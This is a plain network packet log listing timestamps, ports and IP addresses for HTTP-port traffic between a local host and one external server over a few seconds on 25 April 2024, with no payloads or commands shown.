Apr 25, 2024 21:48:02.788311005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.788316965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.788341999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.788372993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835411072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835438013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835464954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835490942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835532904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835568905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835568905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835589886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835688114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835750103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835757971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835829020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835830927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835844994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835871935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835925102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835925102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835925102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.835927010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.835972071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836033106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.836039066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836050987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836124897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.836138964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836189985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836195946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.836224079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836236000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.836272001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.836272001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837707043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837747097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837759972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837783098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837795019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837810040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837837934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837851048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837852001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837852001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837893009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837898016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837913990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837949991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837960958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.837984085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.837996006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838009119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838025093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838037968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838078022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838078022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838093996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838126898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838164091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838164091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838198900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838211060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838221073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838263035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838263035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838263035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838289976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838329077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838350058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838397026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838398933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838398933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838433027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838443041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838476896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838490963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838514090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838529110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838547945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838594913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838654041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838666916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838679075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838691950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838705063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838740110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838742971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838742971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838783026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838831902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838854074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838877916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838921070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838931084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838931084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838978052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.838988066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.838992119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839024067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839040041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839044094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839083910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839088917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839176893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839221001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839234114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839296103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839296103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839309931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839322090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:02.839361906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.839384079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:02.881098032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.088871956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198220015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198236942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198267937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198349953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198363066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198432922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198448896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198461056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198504925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.198558092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198571920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198573112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.198612928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.198613882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.198633909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.198673010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.252705097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253432035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253467083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253494024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253540039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253544092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253544092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253597975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253680944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253740072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253762960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253783941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253801107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253838062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253861904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.253909111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.253997087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254075050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254277945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254328966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254364967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254399061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254410982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254420042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254470110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254493952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254539013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254551888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254565001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254597902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254611015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254637957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254637957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254661083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254661083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254664898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254678011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.254731894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.254731894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307004929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307027102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307076931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307121038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307123899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307192087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307192087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307382107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307445049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307535887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307562113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307641983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307693958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.307773113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.307888031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308005095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308067083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308126926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.308126926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.308229923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308315992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308367968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.308444023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308511019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308593035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.308603048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308798075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308810949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308887959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.308890104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308940887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308986902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.308995008 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309020042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309063911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309084892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309134007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309134960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309195995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309241056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309247971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309273005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309297085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309299946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309339046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309375048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309461117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309473038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309516907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309516907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309535027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309607029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309652090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309653044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309653044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309665918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.309698105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.309712887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.782581091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.782623053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:03.990560055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:03.990576029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.123473883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.123541117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.169301033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.377176046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.486524105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.486577988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.486608982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.486709118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.486763954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.490319967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.698007107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.812030077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.812071085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:04.812148094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:04.812300920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:05.246905088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:05.246905088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:05.454739094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:05.454840899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:05.454852104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:05.594890118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:05.594961882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.344414949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.344463110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.552284002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.552300930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.552310944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.688276052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.688534975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.696027994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.696058989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:07.903743029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.903758049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:07.903768063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.041038036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.041260004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.048343897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.048388004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.256139040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.256154060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.256165028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.395490885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.395569086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.408555984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.408636093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.616529942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.616545916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.755479097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.755547047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.760256052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.760287046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:08.968635082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.968647957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:08.968658924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.099035025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.099128962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.107465029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.107516050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.315100908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.315114021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.315211058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.445370913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.445424080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.450222015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.450272083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.658119917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.789273024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:09.789330006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.794542074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:09.794574022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.002696037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.002945900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.147078991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.147162914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.158188105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.158221006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.366030931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.501473904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.502680063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.513195038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.513228893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.720971107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.856039047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:10.856120110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.862926006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:10.862926006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.070657969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.070683956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.202724934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.202841997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.208522081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.208522081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.416378975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.416400909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.553018093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.553091049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.558343887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.558343887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:11.766100883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.766117096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:11.901468039 CEST	80	49704	185.172.128.76	192.168.2.5
